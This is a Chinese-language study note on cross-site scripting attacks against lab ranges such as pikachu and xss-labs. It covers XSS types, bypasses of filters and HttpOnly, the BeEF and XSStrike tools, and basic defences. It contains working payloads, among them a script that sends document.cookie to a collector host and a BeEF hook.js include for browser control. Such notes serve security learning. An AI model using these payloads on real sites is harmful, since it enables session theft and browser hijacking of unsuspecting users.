Skip to content

XSS 跨站脚本攻击

分类

反射型 与服务端交互,但是交互的数据不存在数据库中,一般出现在查询类页面(中低危)
存储型 交互数据存在数据库中,永久性存储(高危)
DOM 型 交互数据交给静态前端代码,不和服务端交互

<script>document.location = "http://192.168.100.105/pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>
在获取 cookie 的 php 文件中,可以在储存 cookie 后重定向到可信站点
在获得 cookie 后,可以用 postman 发送请求

XSS 防御绕过

script 标签
<body onload="alert('XSS')"
http-only 绕过
如果设置 cookie 时设置了 http-only 属性,客户端 Javascript 引擎禁止访问 document.cookie ,这时可以通过诱导用户访问间接含有 cookie 的页面,如 phpinfo() 文件,通过获得源代码来获得 cookie

XSS 平台

可以使用现成的 XSS 平台收集敏感数据
本地工具有 beef-xss,kali 自带,输入 beef-xss,访问提示的地址
在页面中插入 <script src="http://<IP>:3000/hook.js"></script> 即可实现控制,当 XSS 语句被访问后,在 BeEF 的控制面板里 Online Browsers - Commands 中可以对页面执行操作,可以获取信息,也可以在页面插入诱导性内容进行社会工程学攻击

XSS 识别

例如 id,在后面加单引号,如果报错信息直接显示在页面里,可以报错信息内 XSS 攻击

WAF 绕过

常规思路:
- 标签语法替换,如 onerror
- 特殊符号干扰(如 # /// 等,XSSFuzzer 工具)
- 更换请求方式(POSTGET,服务端有时用 $_REQUEST 接收)
- 垃圾数据干扰
- 编码解码绕过

XSS 工具

XSStrike
python .\xsstrike.py -u "http://192.168.100.105/xss-labs/level1.php?name=test"
- --fuzzer 测试过滤器和防火墙
- --data "username=aaa&password=bbb" POST 传输数据
- --headers "Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=2sl3c0dnujcgot0eq714qdf6u0" 添加 Cookie 等 HTTP 请求头

XSS 防护

开启 http-only,过滤输入和输入,例如 PHP 中的 htmlspecialchars() 等函数